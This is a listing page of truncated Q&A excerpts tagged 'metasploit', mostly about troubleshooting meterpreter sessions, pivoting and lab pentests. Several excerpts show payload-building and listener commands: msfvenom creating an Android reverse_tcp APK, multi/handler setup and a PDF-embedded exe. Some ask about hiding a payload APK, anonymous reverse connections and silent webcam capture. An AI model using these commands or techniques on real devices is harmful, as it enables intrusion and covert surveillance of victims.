Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

87 questions with no upvoted or accepted answers
Filter by
Sorted by
Tagged with
6
votes
0answers
3k views

Meterpreter (Metasploit) anonymous reverse connection over Tor2web

The general consensus seems to be that one sets up a listener on a server accessible by a public IP and some port forwarding. For anonymity this should be a throw-away server or a hacked box. I've ...
5
votes
0answers
1k views

Metasploit DCERPC BindError

I'm trying to gain shell access to my home router/gateway, so I decided to use metasploit and nmap to find if there were any vulnerabilities that I could use: [marcel@GLaDOS ~]$ sudo nmap -sS -Pn -A ...
5
votes
1answer
3k views

Error Running command shell :TimeoutError Operation Time out

I am Testing a Payload linux/x86/meterpreter/reverse_tcp in my Test Linux network to Exploit, I got a Meterpreter Session by Metasploit using it, I tried several commands like getuid, cat and all ...
4
votes
1answer
678 views

Custom EXE Template Metasploit 64-bit ASM PE Syntax

I asked this previously then deleted since I think I asked the question without gearing it towards msfvenom and custom EXE templates. There is a 64-bit Windows PE written in assembly that ships with ...
4
votes
1answer
630 views

Pivoting with Metasploit

I am trying to exploit a Windows VM on a different subnet behind a dual home Linux VM where I already have a shell. To keep it simple, I have a meterpreter reverse_tcp shell on the Linux VM (192.168....
3
votes
0answers
136 views

How is it possible that the Metasploit meterpreter can take pictures without “notifying” the user?

Im curious how the Meterpreter can take pictures from my webcam without turning on the webcam LED? Ive read that you have to write/change a driver, or a firmware, or you just change some DLLs, but ...
3
votes
0answers
578 views

How to run Metasploit WMAP on site that requires SNI

Apologies if this an obvious question, documentation seems to be a bit thin on the ground. I'm attempting to scan (with permission) a site that redirects to its https version, and requires SNI to ...
3
votes
1answer
218 views

Where I am going wrong with Veil? Cannot get a reverse shell?

This is how I am generating the payload in Veil 3 > use XX > set LHOST X.X.X.X > set LPORT 3333 > generate The payload generates successfully and transferred to victim machine Win7 SP1 ...
2
votes
1answer
49 views

why my Metasploit folder does not have wordlists folder (usr/share/)?

I am trying to use msf word-lists but I just noticed in usr/share/metasploit-framework there are only two folders lib and config. I am not sure how that happened but my msf is updated. Is there any ...
2
votes
2answers
192 views

Programming Metasploit

I try to make a Metasploit AutoRunScript for android. The First .rc file has this config use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST xxx.xxx.xxx.xxx (my IP) set ...
2
votes
0answers
996 views

php_cgi_arg_injection fails to bind on 0.0.0.0 when multi/handler is running

I have a server setup in a remote lab that I'm attempting to test against with php_cgi_arg_injection. The exploit works, but no session is created. The local network router is configured to port ...
2
votes
0answers
1k views

How to prevent multiple meterpreter sessions from same target?

I use a custom android/meterpreter/reverse_tcp payload from here. It connects back to the handler at specified time interval. When I use exploit as a job, I get multiple sessions from the same target ...
2
votes
0answers
105 views

Rogue Containment on a wired network (mostly)

I work as a security analyst for a large company. The answer must provide remote support. We are currently looking to build a piece of software (integrating existing products with home grown ...
2
votes
0answers
197 views

vsftpd metasploit evidence in logs?

We have a public ftp server that is being probed by the usual Chinese brute-force scans. They are probing vsftpd. Notmally a failed login to vsftpd looks like this in syslog: Mar 17 15:56:07 ...
1
vote
0answers
28 views

Proxychains to access ports on the same host

This might be an incredible dumb question but I need to know if this concept is even possible. I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
1
vote
0answers
121 views

Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi

I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM. ...
1
vote
0answers
73 views

How do i pivot over WAN

How would i be able to pivot into a internal network over the internet (WAN)? For example: I have a vps with metasploit installed and have a listener running and got a few meterpreter sessions, how ...
1
vote
0answers
141 views

Use Kerberos Golden Ticket with Metasploit

Having compromised a domain controller during testing, I now wish to create persistent domain admin access. Also, operational security is important for me as I don't want to be logging into netowkr ...
1
vote
0answers
572 views

127.0.0.1 - Meterpreter session 2 closed. Reason: Died

I am new at metasploit and am trying to pentest an Android 5.1 device, so I setup for a stageFright attack but am having this issue: the 'meterpreter session closed' immediately, and the ngrok ...
1
vote
0answers
114 views

Metasploit wmap_run -e freezes on auxiliary/scanner/http/brute_dirs module, returns 404

I am trying to run a wmap scan on a web app locally on my Mac. But when wmap reached File/Dir testing, more specifically the brute force module, it does not show anything for path (even though the ...
1
vote
1answer
103 views

Metasploit: java_signed_applet attack hangs after user response

I am trying to perform a client side attack with Metasploit on a 32 bit Windows 7 Professional N (SP1) victim. I have Windows Defender and Firewall disabled and Java Control Panel Security set at ...
1
vote
0answers
53 views

Limited ESP Length in Buffer Overflow Sample C Program

May I know how to increase the length of ESP on a sample c program which allows me to execute shellcode on the stack. However, as of now, the sample c program only has an ESP length of 61 thus ...
1
vote
1answer
355 views

Metasploit x86/unicode_upper failed with “An encoding exception occurred”

I'am playing a bit with assembler and I decided to test out how metasploit encodes a payload into Unicode uppercase characters as assembly instructions which are meant to be decoded by itself. So I ...
1
vote
0answers
496 views

Metasploit: Lateral movement with named pipe pivot

I‘m trying to demonstrate lateral movement to a windows machine that is not directly reachable and should connect back via named pipe: Windows machine w1 does reverse_tcp/reverse_https to attacker. ...
1
vote
0answers
460 views

Reverse_tcp exploit on VM with Windows XP

Well I'm doing learning to do pentest with Metasploit and i was using an exploit named "tugzip" that use a rever_tcp protocol so i actually installed Kali linux on my computer and used a virtual ...
1
vote
0answers
296 views

Hiding metasploit APK after first launch

I wanted to know how can I hide metasploit APK after first launch. I know there a command for it in meterpreter but I want it to hide itself when it is first launched. Before adding hide_app_icon ...
1
vote
0answers
458 views

Android meterpreter payload crashes app

I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes. Loading the raw payload apk on my phone works over LAN/WAN. I injected the payload manually by ...
1
vote
0answers
165 views

payload android. Meterpreter connection issue on samsung s7 edge

Hello I have 2 samsung s7 edge the both have the same android version and base band. On the first no problem, i'm able to take the control using reverse_tcp or http. On the second the payload doesn'...
1
vote
1answer
564 views

Practical example of pentesting using msfvenom

I'm updating a small article that is out of date, but I don't know a lot about pentesting. The framework is mfsvenom and the code is: msfencode -x calc.exe -t loop-vbs -o final.vbs Before it was ...
1
vote
0answers
342 views

Why can't fresh windows install of metasploit-framework connect to database?

It gives error on startup: Failed to connect to the database: ActiveRecord::ConnectionNotEstablished and on db_status: No database driver installed. Try 'gem install pg'.
1
vote
0answers
344 views

Metasploit to connect to a target behind NAT

During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically, they have a public ip : 1.1.1.1 and there are ...
1
vote
0answers
880 views

Metasploit payloads with VPN or proxies?

I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
1
vote
1answer
2k views

Stdapi commands not showing in meterpreter session

I created a android payload with public IP (android/meterpreter/reverse_https). The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network. But when I try to ...
1
vote
0answers
833 views

web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
1
vote
0answers
765 views

Attaching orphaned/stageless session meterpreter

I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter" But after I lose connection, and victim connects ...
1
vote
0answers
543 views

Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
1
vote
0answers
358 views

metasploit search command to fetch one AND another word

Is there a way to use metasploit console to search for 2 words exclusively? For example: search X and Y //I don't know if the syntax is this, of course In a way that will only return exploits that ...
1
vote
0answers
87 views

Encrypted Malicious Traffic Database

I was working on a little research project to correctly identify the encrypted traffic pattern generated by various tools/applications for example metasploit (or increase the success rate). I have ...
1
vote
0answers
112 views

Metasploit Plugin not interacting with Meterpreter Client

I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
1
vote
0answers
355 views

initialAutoRunScript in BrowserAutoPwn2

I am trying to add some custom commands to browserautopwn2. When I get the session using the initialAutoRunScript option like this: msf > set initialautorunscript "upload /root/x.txt %temp%" ...
1
vote
0answers
701 views

bypass proxy metasploit

I am working on a student project with the goal to exploit navigator vulnerabilities on weak Windows XP SP2 and/or Linux computers using only Metasploit Browser Autopwn 1 & 2. Seems trivial but ...
1
vote
0answers
916 views

The pdf embedded exe generating error on the target machine when executed

These are the steps that I performed in order to generate a PDF embedded with exe. Attacker machine (Windows 7): msf > use windows/meterpreter/reverse_tcp msf payload(reverse_tcp) > set LHOST ...
1
vote
0answers
186 views

XSSF cookie stealer not working

I am playing with XSSF with Metasploit and attacking Mutilldae(security 0). I was able to get the generic XSS inject working. The inject was added to the Mutilldae blog. However, when I try to get the ...
1
vote
0answers
907 views

Sysinternals tool suite not working on low priv shell

Currently oscp student. I asked this on the oscp forum yesterday, but no responses so far. I am new to infosec, but have 18 years of education / work experience in IT. As far as I can tell, ...
1
vote
0answers
1k views

How does Metasploit's payload work with a remote target?

I have some simple questions. I often use Metasploit in my pentest engagements. It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
1
vote
0answers
172 views

Detecting reflective DLL injection any other ways?

any way to detect it? maybe using mcafee hips rules? Are there any known Techniques to detect it ? like walking the VAD tree or something?
1
vote
0answers
94 views

where to find a detailed demonstration on how to imitate the Token Kidnapping exploit by Argeniss?

I am looking for a way to do the Token Kidnapping’s Revenge exploit by Argeniss. (The vulnerability is explained in here) I am studying security (beginner) and I would like to imitate the attack to ...
1
vote
0answers
121 views

Backdoor file with custom payload

Is there a way in metasploit to add a custom exe/script as payload to a file (exe/pdf/doxc)? I'm asking this in the context of a SE media dropping scenario, where a file when executed, sends data to ...
1
vote
1answer
4k views

Trying to reproduce a file upload compromise on Joomla

After telling my workmates and boss that we had a very critical lack of security controls, finally we got compromised! They had a Joomla 1.5 which was exploited using a file upload vulnerability. WSO ...
0
votes
0answers
34 views

permission denied when executing an elf payload

I can examine a payload using libemu (sctest) and ndisasm, like this : msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000 msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...